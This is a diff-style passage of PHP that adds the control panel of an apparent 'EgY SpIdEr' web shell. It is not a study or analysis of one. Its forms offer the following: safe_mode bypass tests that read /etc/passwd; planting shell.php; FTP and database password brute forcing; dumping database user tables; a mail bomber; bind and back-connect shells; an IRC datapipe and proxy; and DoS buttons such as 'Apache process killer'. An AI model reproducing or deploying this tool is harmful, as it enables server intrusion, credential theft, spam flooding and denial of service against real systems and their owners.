+echo sr(15,"<b>".$lang[$language.'_text116'].$arrow."</b>",in('text','test8_file1',96,(!empty($_POST['test8_file1'])?($_POST['test8_file1']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test8'));
+echo sr(15,"<b>".$lang[$language.'_text117'].ws(2).$lang[$language.'_text60'].$arrow."</b>",in('text','test8_file2',96,(!empty($_POST['test8_file2'])?($_POST['test8_file2']):($dir))).ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
+echo $te.'</div>'.$table_end1.$fe;
+}
+
+
+{
+echo $fs.$table_up1.div_title($lang[$language.'_text120'],'id23').$table_up2.div('id23').$ts;
+echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test9_file',96,(!empty($_POST['test9_file'])?($_POST['test9_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test9').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
+echo $te.'</div>'.$table_end1.$fe;
+}
+
+
+{
+echo $fs.$table_up1.div_title($lang[$language.'_text121'],'id24').$table_up2.div('id24').$ts;
+echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','test10_file',96,(!empty($_POST['test10_file'])?($_POST['test10_file']):($dir))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test10').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
+echo $te.'</div>'.$table_end1.$fe;
+}
+
+
+{
+echo $fs.$table_up1.div_title($lang[$language.'_text122'],'id19').$table_up2.div('id19').$ts;
+echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','dir',96,(!empty($_POST['test_global'])?($_POST['test_global']):($dir))).in('hidden','cmd',0,'safe_dir').in('hidden','glob',0,'glob').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
+echo $te.'</div>'.$table_end1.$fe;
+}
+
+
+{
+$select_n_rlph = "<select name='n_rlph'><option value=1>[ 1 ] (<<0,01 sec)</option><option value=2>[ 2 ] (<0,01 sec)</option>".
+"<option value=3 selected>[ 3 ] (<1 sec (default))</option>".
+"<option value=4>[ 4 ] (<10 sec)</option><option value=5>[ 5 ] (>100 sec (danger))</option><option value=6>[ 6 ] (>>100 sec (danger))</option></select>";
+echo $fs.$table_up1.div_title($lang[$language.'_text145'],'id41').$table_up2.div('id41').$ts;
+echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','dir',30,(!empty($_POST['dir_rlph'])?($_POST['dir_rlph']):($dir))).ws(2).'<b>'.$lang[$language.'_text55'].'</b>'.ws(2).in('text','end_rlph',6,(!empty($_POST['end_rlph'])?($_POST['end_rlph']):('.php'))).ws(2).in('hidden','cmd',0,'safe_dir').ws(2).'<b>'.$lang[$language.'_text146'].'</b>'.ws(2).$select_n_rlph.ws(2).in('hidden','realpath',0,'realpath').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
+echo $te.'</div>'.$table_end1.$fe;
+}
+
+
+{
+echo $fs.$table_up1.div_title($lang[$language.'_text130'],'id25').$table_up2.div('id25').$ts;
+echo sr(15,"<b>".$lang[$language.'_text116'].$arrow."</b>",in('text','test11_file',96,(!empty($_POST['test11_file'])?($_POST['test11_file']):($tempdir.'test.zip'))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test11').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
+echo $te.'</div>'.$table_end1.$fe;
+}
+
+
+{
+echo $fs.$table_up1.div_title($lang[$language.'_text123'],'id26').$table_up2.div('id26').$ts;
+echo sr(15,"<b>".$lang[$language.'_text116'].$arrow."</b>",in('text','test12_file',96,(!empty($_POST['test12_file'])?($_POST['test12_file']):($tempdir.'test.bzip'))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test12').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
+echo $te.'</div>'.$table_end1.$fe;
+}
+
+
+{
+echo $fs.$table_up1.div_title($lang[$language.'_text124'],'id27').$table_up3.div('id27').$ts;
+echo sr(15,"<b>".$lang[$language.'_text65']." ".$lang[$language.'_text59'].$arrow."</b>",in('text','test13_file2',96,(!empty($_POST['test13_file2'])?($_POST['test13_file2']):($dir."shell.php"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test13'));
+echo sr(15,"<b>".$lang[$language.'_text125'].$arrow."</b>",in('text','test13_file1',96,(!empty($_POST['test13_file1'])?($_POST['test13_file1']):("<? phpinfo(); ?>"))).ws(4).in('submit','submit',0,$lang[$language.'_butt10']));
+echo $te.'</div>'.$table_end1.$fe;
+}
+
+
+{
+echo $fs.$table_up1.div_title($lang[$language.'_text126'],'id28').$table_up2.div('id28').$ts;
+echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','test14_file2',96,(!empty($_POST['test14_file2'])?($_POST['test14_file2']):($dir))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test14'));
+echo sr(15,"<b>".$lang[$language.'_text125'].$arrow."</b>",in('text','test14_file1',96,(!empty($_POST['test14_file1'])?($_POST['test14_file1']):("<? phpinfo(); ?>"))).ws(4).in('submit','submit',0,$lang[$language.'_butt10']));
+echo $te.'</div>'.$table_end1.$fe;
+}
+
+
+{
+echo $fs.$table_up1.div_title($lang[$language.'_text133'],'id39').$table_up2.div('id39').$ts;
+echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','test18_file2',96,(!empty($_POST['test18_file2'])?($_POST['test18_file2']):($dir))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test18'));
+echo sr(15,"<b>".$lang[$language.'_text125'].$arrow."</b>",in('text','test18_file1',96,(!empty($_POST['test18_file1'])?($_POST['test18_file1']):("<? phpinfo(); ?>"))).ws(4).in('submit','submit',0,$lang[$language.'_butt10']));
+echo $te.'</div>'.$table_end1.$fe;
+}
+
+
+{
+echo $fs.$table_up1.div_title($lang[$language.'_text127'],'id29').$table_up2.div('id29').$ts;
+echo sr(15,"<b>".$lang[$language.'_text65']." ".$lang[$language.'_text59'].$arrow."</b>",in('text','test15_file2',96,(!empty($_POST['test15_file2'])?($_POST['test15_file2']):($dir."shell.php"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test15'));
+echo sr(15,"<b>".$lang[$language.'_text125'].$arrow."</b>",in('text','test15_file1',96,(!empty($_POST['test15_file1'])?($_POST['test15_file1']):("<? phpinfo(); ?>"))).ws(4).in('submit','submit',0,$lang[$language.'_butt10']));
+echo $te.'</div>'.$table_end1.$fe;
+}
+
+
+{
+echo $fs.$table_up1.div_title($lang[$language.'_text129'],'id16').$table_up2.div('id16').$ts;
+echo sr(15,"<b>".$lang[$language.'_text65']." ".$lang[$language.'_text59'].$arrow."</b>",in('text','test16_file',96,(!empty($_POST['test16_file'])?($_POST['test16_file']):($dir."test.php"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test16').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
+echo $te.'</div>'.$table_end1.$fe;
+}
+
+
+{
+echo $table_up1.div_title($lang[$language.'_text131'],'id17').$table_up2.div('id17').$ts;
+echo "<tr><td valign=top width=70%>".$ts;
+echo sr(20,"<b>".$lang[$language.'_text30'].$arrow."</b>",$fs.in('text','test17_file',60,(!empty($_POST['test17_file'])?($_POST['test17_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test17_1').in('submit','submit',0,$lang[$language.'_text136']).$fe);
+echo $te."</td><td valign=top width=30%>".$ts;
+echo sr(0,"",$fs.in('hidden','dir',0,$dir).in('hidden','cmd',0,'test17_2').in('submit','submit',0,$lang[$language.'_butt8']).$fe);
+echo $te."</td></tr>";
+echo $te.'</div>'.$table_end1;
+}
+
+
+{
+echo $table_up1.div_title($lang[$language.'_text132'],'id18').$table_up2.div('id18').$ts;
+echo "<tr><td valign=top width=70%>".$ts;
+echo sr(20,"<b>".$lang[$language.'_text4'].$arrow."</b>",$fs.in('text','test17_file',60,(!empty($_POST['test17_file'])?($_POST['test17_file']):($dir))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test17_1').in('submit','submit',0,$lang[$language.'_text136']).$fe);
+echo $te."</td><td valign=top width=30%>".$ts;
+echo sr(0,"",$fs.in('hidden','dir',0,$dir).in('hidden','cmd',0,'test17_3').in('submit','submit',0,$lang[$language.'_butt8']).$fe);
+echo $te."</td></tr>";
+echo $te.'</div>'.$table_end1;
+}
+
+
+echo $fs.$table_up1.div_title($lang[$language.'_text171'],'id98200').$table_up2.div('id98200').$ts;
+echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('hidden','dir',0,$dir).in('hidden','cmd',0,'egy_5_2_3').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
+echo $te.'</div>'.$table_end1.$fe;
+
+
+
+
+{
+echo "<form name=upload method=POST ENCTYPE=multipart/form-data>";
+echo $table_up1.div_title($lang[$language.'_text5'],'id30').$table_up2.div('id30').$ts;
+echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile0',85,''));
+echo sr(15,"<b>".$lang[$language.'_text21'].$arrow."</b>",in('checkbox','nf1 id=nf1',0,'1').in('text','new_name',82,'').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt2']));
+echo $te.'</div>'.$table_end1.$fe;
+}
+
+
+
+
+{
+echo "<form name=upload method=POST ENCTYPE=multipart/form-data>";
+echo $table_up1.div_title('Multy '.$lang[$language.'_text5'],'id34').$table_up2.div('id34').$ts;
+echo "<tr><td valign=top width=50%>".$ts;
+echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile1',35,''));
+echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile2',35,''));
+echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile3',35,''));
+echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile4',35,''));
+echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile5',35,''));
+echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile6',35,''));
+echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile7',35,''));
+echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile8',35,''));
+echo $te."</td><td valign=top width=50%>".$ts;
+echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile9',35,''));
+echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile10',35,''));
+echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile11',35,''));
+echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile12',35,''));
+echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile13',35,''));
+echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile14',35,''));
+echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile15',35,''));
+echo sr(15,'',in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt2']));
+echo $te."</td></tr>";
+echo $te.'</div>'.$table_end1.$fe;
+}
+
+
+
+
+{
+ echo $fs.$table_up1.div_title($lang[$language.'_text15'],'id31').$table_up2.div('id31').$ts;
+ echo sr(15,"<b>".$lang[$language.'_text16'].$arrow."</b>",$select_downloaders.in('hidden','dir',0,$dir).ws(2)."<b>".$lang[$language.'_text17'].$arrow."</b>".in('text','rem_file',78,'http://'));
+ echo sr(15,"<b>".$lang[$language.'_text18'].$arrow."</b>",in('text','loc_file',105,$dir.'/download.file').ws(4).in('submit','submit',0,$lang[$language.'_butt2']));
+ echo $te.'</div>'.$table_end1.$fe;
+}
+
+
+echo $fs.$table_up1.div_title($lang[$language.'_text86'],'id32').$table_up2.div('id32').$ts;
+echo sr(15,"<b>".$lang[$language.'_text59'].$arrow."</b>",in('text','d_name',85,$dir).in('hidden','cmd',0,'download_file').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt14']));
+$arh = $lang[$language.'_text92'];
+if(@function_exists('gzcompress')) { $arh .= in('radio','compress',0,'zip').' zip'; }
+if(@function_exists('gzencode')) { $arh .= in('radio','compress',0,'gzip').' gzip'; }
+if(@function_exists('bzcompress')) { $arh .= in('radio','compress',0,'bzip').' bzip'; }
+echo sr(15,"<b>".$lang[$language.'_text91'].$arrow."</b>",in('radio','compress',0,'none',1).' '.$arh);
+echo $te.'</div>'.$table_end1.$fe;
+
+
+{
+echo $table_up1.div_title($lang[$language.'_text93'],'id33').$table_up2.div('id33').$ts."<tr>".$fs."<td valign=top width=33%>".$ts;
+
+
+echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text94']."</div></b></font>";
+echo sr(25,"<b>".$lang[$language.'_text88'].$arrow."</b>",in('text','ftp_server_port',20,(!empty($_POST['ftp_server_port'])?($_POST['ftp_server_port']):("127.0.0.1:21"))).in('hidden','cmd',0,'ftp_brute').in('hidden','dir',0,$dir));
+echo sr(25,"",in('radio','brute_method',0,'passwd',1)."<font face=Verdana size=-2>".$lang[$language.'_text99']." ( <a href='".$_SERVER['PHP_SELF']."?users'>".$lang[$language.'_text95']."</a> )</font>");
+echo sr(25,"",in('checkbox','reverse id=reverse',0,'1',1).$lang[$language.'_text101']);
+echo sr(25,"",in('radio','brute_method',0,'dic',0).$lang[$language.'_text135']);
+echo sr(25,"<b>".$lang[$language.'_text37'].$arrow."</b>",in('text','ftp_login',0,(!empty($_POST['ftp_login'])?($_POST['ftp_login']):("root"))));
+echo sr(25,"<b>".$lang[$language.'_text135'].$arrow."</b>",in('text','dictionary',0,(!empty($_POST['dictionary'])?($_POST['dictionary']):($dir.'passw.dic'))));
+echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt1']));
+
+
+echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts;
+echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text87']."</div></b></font>";
+echo sr(25,"<b>".$lang[$language.'_text88'].$arrow."</b>",in('text','ftp_server_port',20,(!empty($_POST['ftp_server_port'])?($_POST['ftp_server_port']):("127.0.0.1:21"))));
+echo sr(25,"<b>".$lang[$language.'_text37'].$arrow."</b>",in('text','ftp_login',20,(!empty($_POST['ftp_login'])?($_POST['ftp_login']):("anonymous"))));
+echo sr(25,"<b>".$lang[$language.'_text38'].$arrow."</b>",in('text','ftp_password',20,(!empty($_POST['ftp_password'])?($_POST['ftp_password']):("egy_spider@hotmail.com"))));
+echo sr(25,"<b>".$lang[$language.'_text89'].$arrow."</b>",in('text','ftp_file',20,(!empty($_POST['ftp_file'])?($_POST['ftp_file']):("/ftp-dir/file"))).in('hidden','cmd',0,'ftp_file_down'));
+echo sr(25,"<b>".$lang[$language.'_text18'].$arrow."</b>",in('text','loc_file',20,$dir));
+echo sr(25,"<b>".$lang[$language.'_text90'].$arrow."</b>","<select name=ftp_mode><option value=FTP_BINARY>FTP_BINARY</option><option value=FTP_ASCII>FTP_ASCII</option></select>".in('hidden','dir',0,$dir));
+echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt14']));
+
+
+echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts;
+echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text100']."</div></b></font>";
+echo sr(25,"<b>".$lang[$language.'_text88'].$arrow."</b>",in('text','ftp_server_port',20,(!empty($_POST['ftp_server_port'])?($_POST['ftp_server_port']):("127.0.0.1:21"))));
+echo sr(25,"<b>".$lang[$language.'_text37'].$arrow."</b>",in('text','ftp_login',20,(!empty($_POST['ftp_login'])?($_POST['ftp_login']):("anonymous"))));
+echo sr(25,"<b>".$lang[$language.'_text38'].$arrow."</b>",in('text','ftp_password',20,(!empty($_POST['ftp_password'])?($_POST['ftp_password']):("egy_spider@hotmail.com"))));
+echo sr(25,"<b>".$lang[$language.'_text18'].$arrow."</b>",in('text','loc_file',20,$dir));
+echo sr(25,"<b>".$lang[$language.'_text89'].$arrow."</b>",in('text','ftp_file',20,(!empty($_POST['ftp_file'])?($_POST['ftp_file']):("/ftp-dir/file"))).in('hidden','cmd',0,'ftp_file_up'));
+echo sr(25,"<b>".$lang[$language.'_text90'].$arrow."</b>","<select name=ftp_mode><option value=FTP_BINARY>FTP_BINARY</option><option value=FTP_ASCII>FTP_ASCII</option></select>".in('hidden','dir',0,$dir));
+echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt2']));
+
+
+echo $te."</td>".$fe."</tr></div></table>";
+}
+
+
+
+
+{
+echo $table_up1.div_title($lang[$language.'_text102'],'id35').$table_up2.div('id35').$ts."<tr>".$fs."<td valign=top width=33%>".$ts;
+echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text103']."</div></b></font>";
+echo sr(25,"<b>".$lang[$language.'_text105'].$arrow."</b>",in('text','to',30,(!empty($_POST['to'])?($_POST['to']):("hacker@mail.com"))).in('hidden','cmd',0,'mail').in('hidden','dir',0,$dir));
+echo sr(25,"<b>".$lang[$language.'_text106'].$arrow."</b>",in('text','from',30,(!empty($_POST['from'])?($_POST['from']):("egy_spider@hotmail.com"))));
+echo sr(25,"<b>".$lang[$language.'_text107'].$arrow."</b>",in('text','subj',30,(!empty($_POST['subj'])?($_POST['subj']):("hello EgY SpIdEr"))));
+echo sr(25,"<b>".$lang[$language.'_text108'].$arrow."</b>",'<textarea name=text cols=22 rows=2>'.(!empty($_POST['text'])?($_POST['text']):("mail text here")).'</textarea>');
+echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt15']));
+
+
+echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts;
+echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text104']."</div></b></font>";
+echo sr(25,"<b>".$lang[$language.'_text105'].$arrow."</b>",in('text','to',30,(!empty($_POST['to'])?($_POST['to']):("hacker@mail.com"))).in('hidden','cmd',0,'mail_file').in('hidden','dir',0,$dir));
+echo sr(25,"<b>".$lang[$language.'_text106'].$arrow."</b>",in('text','from',30,(!empty($_POST['from'])?($_POST['from']):("egy_spider@hotmail.com"))));
+echo sr(25,"<b>".$lang[$language.'_text107'].$arrow."</b>",in('text','subj',30,(!empty($_POST['subj'])?($_POST['subj']):("file from egy spider shell"))));
+echo sr(25,"<b>".$lang[$language.'_text18'].$arrow."</b>",in('text','loc_file',30,$dir));
+echo sr(25,"<b>".$lang[$language.'_text91'].$arrow."</b>",in('radio','compress',0,'none',1).' '.$arh);
+echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt15']));
+
+
+echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts;
+echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text139']."</div></b></font>";
+echo sr(25,"<b>".$lang[$language.'_text105'].$arrow."</b>",in('text','to',30,(!empty($_POST['to'])?($_POST['to']):("hacker@mail.com"))).in('hidden','cmd',0,'mail_bomber').in('hidden','dir',0,$dir));
+echo sr(25,"<b>".$lang[$language.'_text106'].$arrow."</b>",in('text','from',30,(!empty($_POST['from'])?($_POST['from']):("egy_spider@hotmail.com"))));
+echo sr(25,"<b>".$lang[$language.'_text107'].$arrow."</b>",in('text','subj',30,(!empty($_POST['subj'])?($_POST['subj']):("hello EgY SpIdEr"))));
+echo sr(25,"<b>".$lang[$language.'_text108'].$arrow."</b>",'<textarea name=text cols=22 rows=1>'.(!empty($_POST['text'])?($_POST['text']):("flood text here")).'</textarea>');
+echo sr(25,"<b>Flood".$arrow."</b>",in('int','mail_flood',5,(!empty($_POST['mail_flood'])?($_POST['mail_flood']):100)).ws(4)."<b>Size(kb)".$arrow."</b>".in('int','mail_size',5,(!empty($_POST['mail_size'])?($_POST['mail_size']):10)));
+echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt15']));
+
+
+echo $te."</td>".$fe."</tr></div></table>";
+}
+
+
+
+
+{
+$select = '<select name=db>';
+if($mysql_on) $select .= '<option value=MySQL>MySQL</option>';
+if($mssql_on) $select .= '<option value=MSSQL>MSSQL</option>';
+if($pg_on) $select .= '<option value=PostgreSQL>PostgreSQL</option>';
+if($ora_on) $select .= '<option value=Oracle>Oracle</option>';
+if($mysqli_on) $select .= '<option value=MySQLi>MySQLi</option>';
+if($msql_on) $select .= '<option value=mSQL>mSQL</option>';
+if($sqlite_on) $select .= '<option value=SQLite>SQLite</option>';
+$select .= '</select>';
+
+
+echo $table_up1.div_title($lang[$language.'_text82'],'id36').$table_up3.div('id36').$ts."<tr>".$fs."<td valign=top width=33%>".$ts;
+echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text134']."</div></b></font>";
+
+
+echo sr(35,"<b>".$lang[$language.'_text80'].$arrow."</b>",$select.in('hidden','dir',0,$dir).in('hidden','cmd',0,'db_brute'));
+echo sr(35,"<b>".$lang[$language.'_text111'].$arrow."</b>",in('text','db_server',8,(!empty($_POST['db_server'])?($_POST['db_server']):("localhost"))).' <b>:</b> '.in('text','db_port',8,(!empty($_POST['db_port'])?($_POST['db_port']):(""))));
+echo sr(35,"<b>".$lang[$language.'_text39'].$arrow."</b>",in('text','mysql_db',8,(!empty($_POST['mysql_db'])?($_POST['mysql_db']):("mysql"))));
+echo sr(25,"",in('radio','brute_method',0,'passwd',1)."<font face=Verdana size=-2>".$lang[$language.'_text99']." ( <a href='".$_SERVER['PHP_SELF']."?users'>".$lang[$language.'_text95']."</a> )</font>");
+echo sr(25,"",in('checkbox','reverse id=reverse',0,'1',1).$lang[$language.'_text101']);
+echo sr(25,"",in('radio','brute_method',0,'dic',0).$lang[$language.'_text135']);
+echo sr(35,"<b>".$lang[$language.'_text37'].$arrow."</b>",in('text','mysql_l',8,(!empty($_POST['mysql_l'])?($_POST['mysql_l']):("root"))));
+echo sr(25,"<b>".$lang[$language.'_text135'].$arrow."</b>",in('text','dictionary',0,(!empty($_POST['dictionary'])?($_POST['dictionary']):($dir.'passw.dic'))));
+echo sr(35,"",in('submit','submit',0,$lang[$language.'_butt1']));
+
+
+echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts;
+echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text40']."</div></b></font>";
+
+
+echo sr(35,"<b>".$lang[$language.'_text80'].$arrow."</b>",$select);
+echo sr(35,"<b>".$lang[$language.'_text111'].$arrow."</b>",in('text','db_server',8,(!empty($_POST['db_server'])?($_POST['db_server']):("localhost"))).' <b>:</b> '.in('text','db_port',8,(!empty($_POST['db_port'])?($_POST['db_port']):(""))));
+echo sr(35,"<b>".$lang[$language.'_text37'].' : '.$lang[$language.'_text38'].$arrow."</b>",in('text','mysql_l',8,(!empty($_POST['mysql_l'])?($_POST['mysql_l']):("root"))).' <b>:</b> '.in('text','mysql_p',8,(!empty($_POST['mysql_p'])?($_POST['mysql_p']):("password"))));
+echo sr(35,"<b>".$lang[$language.'_text36'].$arrow."</b>",in('text','mysql_db',8,(!empty($_POST['mysql_db'])?($_POST['mysql_db']):("mysql"))).' <b>.</b> '.in('text','mysql_tbl',8,(!empty($_POST['mysql_tbl'])?($_POST['mysql_tbl']):("user"))));
+echo sr(35,in('hidden','dir',0,$dir).in('hidden','cmd',0,'mysql_dump')."<b>".$lang[$language.'_text41'].$arrow."</b>",in('checkbox','dif id=dif',0,'1').in('text','dif_name',17,(!empty($_POST['dif_name'])?($_POST['dif_name']):("dump.sql"))));
+echo sr(35,"",in('submit','submit',0,$lang[$language.'_butt9']));
+
+
+echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts;
+echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text83']."</div></b></font>";
+
+
+echo sr(35,"<b>".$lang[$language.'_text80'].$arrow."</b>",$select);
+echo sr(35,"<b>".$lang[$language.'_text111'].$arrow."</b>",in('text','db_server',8,(!empty($_POST['db_server'])?($_POST['db_server']):("localhost"))).' <b>:</b> '.in('text','db_port',8,(!empty($_POST['db_port'])?($_POST['db_port']):(""))));
+echo sr(35,"<b>".$lang[$language.'_text37'].' : '.$lang[$language.'_text38'].$arrow."</b>",in('text','mysql_l',8,(!empty($_POST['mysql_l'])?($_POST['mysql_l']):("root"))).' <b>:</b> '.in('text','mysql_p',8,(!empty($_POST['mysql_p'])?($_POST['mysql_p']):("password"))));
+echo sr(35,"<b>".$lang[$language.'_text39'].$arrow."</b>",in('text','mysql_db',8,(!empty($_POST['mysql_db'])?($_POST['mysql_db']):("mysql"))));
+echo sr(35,"<b>".$lang[$language.'_text84'].$arrow."</b>".in('hidden','dir',0,$dir).in('hidden','cmd',0,'db_query'),"");
+echo $te."<div align=center id='n'><textarea cols=30 rows=4 name=db_query>".(!empty($_POST['db_query'])?($_POST['db_query']):("SHOW DATABASES;\nSHOW TABLES;\nSELECT * FROM user;\nSELECT version();\nSELECT user();"))."</textarea><br>".in('submit','submit',0,$lang[$language.'_butt1'])."</div>";
+
+
+echo "</td>".$fe."</tr></div></table>";
+}
+
+
+
+
+{
+echo $table_up1.div_title($lang[$language.'_text81'],'id555555').$table_up2.div('id555555').$ts."<tr>".$fs."<td valign=top width=25%>".$ts;
+echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text9']."</div></b></font>";
+echo sr(40,"<b>".$lang[$language.'_text10'].$arrow."</b>",in('text','port',10,'11457'));
+echo sr(40,"<b>".$lang[$language.'_text11'].$arrow."</b>",in('text','bind_pass',10,'r57'));
+echo sr(40,"<b>".$lang[$language.'_text20'].$arrow."</b>","<select size=\"1\" name=\"use\"><option value=\"Perl\">Perl</option><option value=\"C\">C</option></select>".in('hidden','dir',0,$dir));
+echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt3']));
+echo $te."</td>".$fe.$fs."<td valign=top width=25%>".$ts;
+echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text12']."</div></b></font>";
+echo sr(40,"<b>".$lang[$language.'_text13'].$arrow."</b>",in('text','ip',15,((getenv('REMOTE_ADDR')) ? (getenv('REMOTE_ADDR')) : ("127.0.0.1"))));
+echo sr(40,"<b>".$lang[$language.'_text14'].$arrow."</b>",in('text','port',15,'11457'));
+echo sr(40,"<b>".$lang[$language.'_text20'].$arrow."</b>","<select size=\"1\" name=\"use\"><option value=\"Perl\">Perl</option><option value=\"C\">C</option></select>".in('hidden','dir',0,$dir));
+echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt4']));
+echo $te."</td>".$fe.$fs."<td valign=top width=25%>".$ts;
+echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text22']."</div></b></font>";
+echo sr(40,"<b>".$lang[$language.'_text23'].$arrow."</b>",in('text','local_port',10,'11457'));
+echo sr(40,"<b>".$lang[$language.'_text24'].$arrow."</b>",in('text','remote_host',10,'irc.dalnet.ru'));
+echo sr(40,"<b>".$lang[$language.'_text25'].$arrow."</b>",in('text','remote_port',10,'6667'));
+echo sr(40,"<b>".$lang[$language.'_text26'].$arrow."</b>","<select size=\"1\" name=\"use\"><option value=\"Perl\">datapipe.pl</option><option value=\"C\">datapipe.c</option></select>".in('hidden','dir',0,$dir));
+echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt5']));
+echo $te."</td>".$fe.$fs."<td valign=top width=25%>".$ts;
+echo "<font face=Verdana size=-2><b><div align=center id='n'>Proxy</div></b></font>";
+echo sr(40,"<b>".$lang[$language.'_text10'].$arrow."</b>",in('text','proxy_port',10,'31337'));
+echo sr(40,"<b>".$lang[$language.'_text26'].$arrow."</b>","<select size=\"1\" name=\"use\"><option value=\"Perl\">Perl</option></select>".in('hidden','dir',0,$dir));
+echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt5']));
+echo $te."</td>".$fe."</tr></div></table>";
+}
+echo $table_up1.div_title($lang[$language.'_text81'],'id5525555').$table_up2.div('id5525555').$ts."<tr>".$fs."<td valign=top width=34%>".$ts;
+echo "<font face=tahoma size=-2><b><div align=center id='n'>".$lang[$language.'_text9']."</div></b></font>";
+echo sr(40,"<b>".$lang[$language.'_text10'].$arrow."</b>",in('text','port1',35,'9999').ws(4).in('submit','submit',0,$lang[$language.'_butt3']));
+echo $te."</td>".$fe."</tr></div></table>";
+
+
+echo $table_up1.div_title($lang[$language.'_text140'],'id38').$table_up2.div('id38').$ts."<tr><td valign=top width=25%>".$ts;
+echo "<font face=Verdana color=red size=-2><b><div align=center id='n'>".$lang[$language.'_text141']."</div></b></font>";
+echo sr(10,"",$fs.in('hidden','cmd',0,'dos1').in('submit','submit',0,'Recursive memory exhaustion').$fe);
+echo sr(10,"",$fs.in('hidden','cmd',0,'dos2').in('submit','submit',0,'Memory_limit [pack()]').$fe);
+echo sr(10,"",$fs.in('hidden','cmd',0,'dos3').in('submit','submit',0,'BoF [unserialize()]').$fe);
+echo sr(10,"",$fs.in('hidden','cmd',0,'dos4').in('submit','submit',0,'BoF ZendEngine').$fe);
+echo sr(10,"",$fs.in('hidden','cmd',0,'dos5').in('submit','submit',0,'SQlite [dl()] vuln').$fe);
+echo sr(10,"",$fs.in('hidden','cmd',0,'dos6').in('submit','submit',0,'PCRE [preg_match()](PHP<5.2.1)').$fe);
+echo sr(10,"",$fs.in('hidden','cmd',0,'dos7').in('submit','submit',0,'Mem_limit [str_repeat()](PHP<5.2.1)').$fe);
+echo sr(10,"",$fs.in('hidden','cmd',0,'dos8').in('submit','submit',0,'Apache process killer').$fe);
+echo sr(10,"",$fs.in('hidden','cmd',0,'dos9').in('submit','submit',0,'Overload [tempnam()](PHP<5.1.2)').$fe);
